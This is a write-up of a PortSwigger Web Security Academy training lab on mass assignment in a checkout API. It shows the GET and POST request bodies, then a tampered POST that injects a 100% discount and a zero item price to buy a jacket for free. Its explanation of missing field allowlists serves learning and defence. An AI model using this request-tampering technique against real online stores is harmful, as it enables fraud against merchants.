Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type API Testing / Mass Assignment
Difficulty Practitioner
Objective Exploit a mass assignment vulnerability in the checkout API to apply a 100% discount on the Lightweight l33t Leather Jacket

Exploiting a Mass Assignment Vulnerability

I logged in as wiener:peter, added the jacket to the cart, and captured the checkout flow in Burp.

GET /api/checkout response:

{
    "chosen_discount": {"percentage": 0},
    "chosen_products": [
        {
            "product_id": "1",
            "name": "Lightweight \"l33t\" Leather Jacket",
            "quantity": 1,
            "item_price": 133700
        }
    ]
}
Screenshot

POST /api/checkout body:

{"chosen_products":[{"product_id":"1","quantity":1}]}
Screenshot

The GET returned the full internal checkout object including chosen_discount.percentage: 0. The POST only sent chosen_products. That discrepancy is the tell: any field that appears in the GET but not in the POST is a candidate for mass assignment — the GET response is the map of what the internal object looks like.

Mass assignment occurs when a framework binds all submitted fields to an object without an allowlist. The POST handler presumably writes the submitted body to the same internal checkout object the GET reads from. If the developer didn't explicitly restrict which fields can be written, submitting chosen_discount in the POST body should bind it. The canonical detection pattern is GET vs POST comparison — GET the resource to see all its fields, POST with only the UI's subset, then inject any missing fields.

Modifying the POST to include chosen_discount at 100%:

{
    "chosen_discount": {"percentage": 100},
    "chosen_products": [
        {
            "product_id": "1",
            "quantity": 1,
            "item_price": 0
        }
    ]
}
Screenshot
Screenshot

The server accepted it. Checkout completed with a 100% discount applied.

Lab solved haha

Resources